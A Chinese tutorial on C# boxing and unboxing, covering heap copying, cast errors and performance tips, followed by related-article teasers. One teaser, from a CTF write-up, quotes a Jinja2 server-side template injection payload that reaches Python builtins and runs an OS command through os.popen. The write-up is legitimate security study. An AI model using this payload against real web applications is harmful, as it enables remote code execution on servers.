C#装箱拆箱机制详解
在C#中,装箱(Boxing)和拆箱(Unboxing) 是值类型与引用类型之间转换的核心机制。它们的实现直接影响程序的性能和类型安全。
一、装箱(Boxing)
定义:
将值类型转换为引用类型(通常是object或接口类型)的过程
过程:
- 在堆(Heap)中分配内存,用于存储值类型的副本
- 将栈(Stack)上的值类型数据复制到堆中
- 返回堆中新对象的引用
示例
int value = 1;
object boxed = value; //装箱操作
常见场景
- 将值类型添加到非泛型集合(如ArrayList)
- 调用接受object参数的方法时传递值类型
特殊场景
1.Nullable类型(T?)的装箱
- 如果Nullable<T>的值为null,装箱结果为null
- 如果有值(如int?i = 1),则装箱其基础类型为(int)
2.枚举类型(Enum)的装箱
枚举值会被装箱为底层类型(如int )的实例
性能影响:
- 堆内存分配和复制操作会带来性能开销
- 频繁装箱(如循环中)可能会导致内存压力,触发垃圾回收(GC)
二、拆箱
定义:
将引用类型(已装箱的值)转换回原始值类型的过程,拆箱的本质是从堆中逐字节复制原始值类型数据到栈
过程:
- 检查引用类型是否与目标值类型兼容(否则抛出InvalidCastException)
- 将堆中存储的值复制到栈上的值类型变量中
示例
object boxed = 1;
int unboxed = (int)boxed; //拆箱操作
错误示例
object boxed = 1;
double d = (double)boxed; // 抛出 InvalidCastException
错误原因
类型兼容性:CLR(公共语言运行时)会验证引用类型是否与目标值类型完全匹配,装箱的是int,拆箱时目标类型必须也是int,否则抛出InvalidCastException
- 拆箱的本质是从堆中 逐字节复制原始值类型数据 到栈
int和double的内存布局不同:int是 4 字节整数(如42的二进制为0x0000002A)double是 8 字节浮点数(如42.0的二进制为0x4045000000000000)- CLR 无法直接将
int的二进制数据当作double解析,必须显式转换
错误修正
- 拆箱到原始类型(
int) - 显式类型转换(
int→double)
修正后代码:
object boxed = 1;
int unboxedInt = (int)boxed; // 正确拆箱到 int
double d = (double)unboxedInt; // 再转换为 double// 或者简写为:
double d = (int)boxed; // 隐式转换为 double
内存结构
托管堆中的对象:
[对象头] [同步块索引] [int 数据 = 1]
↑
boxed 引用指向此处栈上的 unboxed 变量:
[int 数据 = 1]
关键点
- 必须显式指定目标类型(强制类型转换)
- 拆箱失败会抛出异常,需确保类型匹配
- 拆箱后需要再次复制数据,仍有性能开销
三、性能优化
1.使用泛型集合
如使用(List<T>)替代非泛型集合(ArrayList)避免装箱
List<int> list = new List<int>(); // 无装箱
list.Add(1);
2.利用接口泛型方法避免装箱
例如,使用IEquatable<T>的Equals(T other)方法,而不是object. Equals
3.注意ToString和格式化方法:
int i = 1;
Console.WriteLine(i.ToString()); // 避免装箱(直接调用值类型的ToString)
Console.WriteLine($"{i}"); // 隐式调用 i.ToString(),避免装箱
4.避免在循环或高频代码中装箱/拆箱
5.使用is或as安全检查后再拆箱
相关文章:
C#装箱拆箱机制详解
在C#中,装箱(Boxing)和拆箱(Unboxing) 是值类型与引用类型之间转换的核心机制。它们的实现直接影响程序的性能和类型安全。 一、装箱(Boxing) 定义: 将值类型转换为引用类型&#…...
llama.cpp 一键运行本地大模型 - Windows
文章目录 llama.cpp 一键运行本地大模型 - Windows嘿,咱来唠唠 llama.cpp 这玩意儿!gguf 格式是啥?咱得好好说道说道基座模型咋选?所需物料,咱得准备齐全咯核心命令,得记牢啦运行方式咋选?测试应…...
BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】
模板: {{.__class__.__base__.__subclasses__()[80].__init__.__globals__[__builtins__].eval("__import__(os).popen(type flag.txt).read()")}} 是个空字符串,.__class__代表这个空字符串的类是什么(这里是单引号双引号都行&a…...
数据同步的中间件
以下是10个支持MySQL、HBase、ClickHouse、HDFS等不同数据库之间数据同步的GitHub项目推荐: 项目名称语言主要特点支持的数据库GitHub链接DataXPython阿里巴巴开源的数据同步工具,支持多种数据库和文件系统。MySQL、ClickHouse、HDFS等GitHub链接Apache…...
C# | GDI+图像测距辅助线的实现思路
C# | GDI图像测距辅助线的实现思路 文章目录 C# | GDI图像测距辅助线的实现思路一、辅助线需求概述二、坐标系与角度计算2.1 笛卡尔坐标系2.2 线长和角度计算方法2.3 文本角度矫正计算方法2.4 坐标变换实现步骤 三、与if判断方式对比四、总结 一、辅助线需求概述 在图像测量工…...
【备份】php项目处理跨域请求踩坑
这都是老生常谈的东西了。我还在踩坑,记录一下。 我在项目入口明明写了如下代码: // 处理预检请求 (OPTIONS) if ($_SERVER[REQUEST_METHOD] OPTIONS) {header("Access-Control-Allow-Origin: https://xxx.vip");header("Access-Cont…...
常见的Linux面试题
以下是一些常见的Linux面试题: 基础操作类 如何远程连接Linux服务器:常用的工具如Xshell、CRT、FinalShell等,通过SSH协议连接,默认端口是22。 如何查看当前目录下的所有文件(包括隐藏文件):使…...
MySQL 数据库本地及异地备份:全面指南
文章目录 MySQL 数据库本地及异地备份:全面指南备份脚本概述编写备份脚本脚本内容主要参数解释设置脚本权限 定期执行备份设置crontab任务 安全性建议避免明文密码rsync密码文件安全 进阶功能和优化增量备份备份验证日志轮转 总结附录:脚本依赖 MySQL 数…...
免费使用 DeepSeek API 教程及资源汇总
免费使用 DeepSeek API 教程及资源汇总 一、DeepSeek API 资源汇总1.1 火山引擎1.2 百度千帆1.3 阿里百炼1.4 腾讯云 二、其他平台2.1 华为云2.2 硅基流动 三、总结 DeepSeek-R1 作为 2025 年初发布的推理大模型,凭借其卓越的逻辑推理能力和成本优势,迅速…...
java后端开发day20--面向对象进阶(一)--static继承
(以下内容全部来自上述课程) 1.static–静态–共享 static表示静态,是java中的一个修饰符,可以修饰成员方法,成员变量。 1.静态变量 被static修饰的成员变量,叫做静态变量。 特点: 被该类…...
统计学中的得分函数(Score Function)是什么?它和Fisher信息矩阵有什么关系?
得分函数:统计学中的“敏感探针” 在统计学和概率论中,得分函数(Score Function)是一个看似简单却非常重要的概念。它不仅是Fisher信息矩阵的核心组成部分,还在参数估计、模型优化等领域发挥着关键作用。今天…...
Spring Boot集成MyBatis访问MySQL:从项目搭建到基础数据库查询(基础入门)
Spring Boot集成MyBatis访问MySQL 一、引言 在当今企业级应用开发中,Spring Boot、MyBatis与MySQL的组合凭借其高效性和灵活性,成为构建数据驱动型应用的首选方案。本文将带你从零开始搭建项目,掌握Spring Boot集成MyBatis的基础入门内容。…...
ShenNiusModularity项目源码学习(14:ShenNius.Infrastructure项目分析)
ShenNius.Infrastructure项目用于定义ShenNius.Admin.Mvc项目和ShenNius.Admin.API项目共用的特性类、数据操作接口实现类、上下文类、通讯类,主要文件的用途如下: Attributes文件夹保存特性类或过滤器类定义,主要包括: …...
Linux 内核配置机制详细讲解
本文是对 Linux 内核配置机制 make menuconfig 的 超详细分步解析,涵盖其工作原理、界面操作、配置逻辑及底层实现: 一、内核配置系统概述 Linux 内核的配置系统是一个 基于文本的交互式配置工具链,核心目标是通过定义 CONFIG_XXX 宏来控制内…...
【C语言】第八期——指针、二维数组与字符串
目录 1 初始指针 2 获取变量的地址 3 定义指针变量、取地址、取值 3.1 定义指针变量 3.2 取地址、取值 4 对指针变量进行读写操作 5 指针变量作为函数参数 6 数组与指针 6.1 指针元素指向数组 6.2 指针加减运算(了解) 6.2.1 指针加减具体数字…...
Spring Boot集成Spring Security之HTTP请求授权
一、HTTP请求授权工作原理 基于Spring Security最新的Http请求授权讲解,不再使用旧版的请求授权 授权过滤器AuthorizationFilter获取认证信息 调用RequestMatcherDelegatingAuthorizationManager的check方法验证该用户是否具有该请求的授权 RequestMatcherDele…...
可以免费无限次下载PPT的网站
前言 最近发现了一个超实用的网站,想分享给大家。 在学习和工作的过程中,想必做PPT是一件让大家都很头疼的一件事。 想下载一些PPT模板减少做PPT的工作量,但网上大多精美的PPT都是需要付费才能下载使用。 即使免费也有次数限制࿰…...
DeepSeek 开源周:DeepEP 项目详解,GPU 压榨计划启动!
引言 就在今天,2025年2月25日,DeepSeek 再次为人工智能社区带来了一场技术盛宴——DeepEP 项目的开源。这个旨在优化 GPU 性能的工具一经发布便迅速获得了广泛的关注和赞誉,短短两小时内就斩获了超过1000个 Star。本文将详细介绍 DeepEP 的功…...
GPT1 与 GPT2 的异同
1.什么是GPT1: GPT1介绍了一种通过生成式预训练(Generative Pre-Training)来提升语言理解能力的方法。这种方法首先在一个大型的未标注文本语料库上进行语言模型的预训练,然后针对具体的任务进行判别式微调(discrimin…...
从零开始自主「起身站立」,上海AI Lab发布最新控制算法,机器人:起猛了
来源 | 机器之心 近日,上海 AI Lab 具身智能中心研究团队在机器人控制领域取得了最新突破,提出的 HoST(Humanoid Standing-up Control)算法,成功让人形机器人在多种复杂环境中实现了自主站起,并展现出强大…...
基于Python socket库构建的基于 P2P 的文件共享系统示例
基于 P2P 的文件共享系统 实现方式: 使用 Python 的socket库构建 P2P 网络,节点之间通过 TCP 或 UDP 协议进行通信。每个节点维护一个文件列表,并向其他节点广播自己拥有的文件信息。当一个节点需要某个文件时,它会向网络中的其…...
【Kubernetes】API server 限流 之 maxinflight.go
这个文件实现了一个基于信号量(Channel)的简单限流器。 基础知识 总共有四种channel 带缓冲的channel nonMutatingChan、mutatingChan 都是带缓冲的channel ,这类channel 的特点是: 这允许最多 mutatingLimit /nonMutatingLimit 个请求同时获取令牌并执…...
Solr中得Core和Collection的作用和关系
Solr中得Core和Collection的作用和关系 一, 总结 在Apache Solr中,Core和Collection 是两个核心概念,他们分别用于单机模式和分布式模式(SolrCloud)中,用于管理和组织数据。 二,Core 定义&am…...
AI驱动的自动化留给人类的时间不多了
时间紧迫!时间紧迫!时间紧迫! 关于AI工作流催生的行业任务自动化时间窗口,结合技术成熟度、成本效益、行业特性等维度,可划分为以下阶段: 一、技术渗透阶段(2025-2028年) 高重复性任…...
嵌入式Qt的动平衡仪完整设计方案
一、系统架构总览 #mermaid-svg-R5q0e12ntMzsskep {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-R5q0e12ntMzsskep .error-icon{fill:#552222;}#mermaid-svg-R5q0e12ntMzsskep .error-text{fill:#552222;stroke:#5…...
使用 Containerd 通过 HTTP 协议拉取 Harbor 私有镜像仓库的镜像
在 Kubernetes 1.24及以上版本环境中,docker不再被支持,主要使用Containerd 是常用的容器运行。默认情况下,Containerd 使用 HTTPS 协议与镜像仓库通信。然而,在某些场景下(如测试环境或内部网络)ÿ…...
Python解决“比赛配对”问题
Python解决“比赛配对”问题 问题描述测试样例解决思路代码 问题描述 小R正在组织一个比赛,比赛中有 n 支队伍参赛。比赛遵循以下独特的赛制: 如果当前队伍数为 偶数,那么每支队伍都会与另一支队伍配对。总共进行 n / 2 场比赛,…...
Dify在Ubuntu20.04系统的部署
文章目录 一、dify 介绍1.核心功能优势2.应用场景 二、dify 安装(docker方式)1.代码库下载2.配置文件修改3.启动docker 容器 三、遇到问题与解决1.使用sudo docker compose up -d报错2.使用service docker start报错 一、dify 介绍 Dify 是一款开源的大语言模型(LL…...
达梦:内存相关参数
目录 28个相关参数1. 内存池相关MEMORY_POOLMEMORY_N_POOLSMEMORY_BAK_POOL 2. 大缓冲区相关HUGE_BUFFERHUGE_BUFFER_POOLS 3. 共享缓冲区相关BUFFERBUFFER_POOLSBUFFER_MODEMAX_BUFFER 4. 快速池相关FAST_POOL_PAGES 5. 回收池相关RECYCLE_POOLS 6. 回滚段池相关ROLLSEG_POOLS…...
计算机毕设-基于springboot的融合多源高校画像数据与协同过滤算法的高考择校推荐系统的设计与实现(附源码+lw+ppt+开题报告)
博主介绍:✌多个项目实战经验、多个大型网购商城开发经验、在某机构指导学员上千名、专注于本行业领域✌ 技术范围:Java实战项目、Python实战项目、微信小程序/安卓实战项目、爬虫大数据实战项目、Nodejs实战项目、PHP实战项目、.NET实战项目、Golang实战…...
